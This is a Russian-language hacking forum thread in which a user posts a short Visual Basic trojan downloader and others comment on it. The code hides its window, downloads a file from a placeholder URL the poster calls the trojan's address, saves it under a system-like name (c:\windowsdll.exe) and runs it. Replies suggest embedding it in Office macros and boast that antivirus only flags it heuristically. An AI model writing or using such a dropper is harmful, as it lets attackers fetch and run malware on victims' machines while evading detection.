Downloader на Vb

[wutang]

Простенький лоадер...

http://www.yoursite.com/trojan - УРЛ с троем

c:\windowsdll.exe - куда скачать и запустить

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ 
    "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _ 
    ByVal szFileName As String, ByVal dwReserved As Long, _ 
    ByVal lpfnCB As Long) As Long 

Private Sub Form_Load() 
Form1.Visible = False 
Dim iReturn As Long 
Dim saveto As Long 
iReturn = URLDownloadToFile(0, " http://www.yoursite.com/trojan", "c:\windowsdll.exe", 0, 0) 
Shell "c:\windowsdll.exe" 
End Sub

 

[Ŧ1LAN]

господи чёнить посвежее надо %)
шц

хоть копирайтики ставь
u.r

 

[\xE9\x85\]

ыыы... Лоадер на вб.. хоть ошибку сделайте в коде.. а то ща в разделе купля продажа продаваться "уникальный бот на асме" будет...

 

[Keroitn]

лол
единственное, где действительно может пригодиться - это в коде макроса для office.

 

[wutang]

единственное, где действительно может пригодиться - это в коде макроса для office.

ты чета путаеш дружище.... :crazy:

 

[Keroitn]

ты чета путаеш

да ну? поясни

 

[NuTraL]

Все нормально работает ;-) Респект.. И не палитцо xDD humbsup:
ESETS 2.71.10 2008-3-2 21:35:14 probably unknown NewHeur_PE virus

[mod][groundhog:] Блин, развелось тут некропостеров![/mod]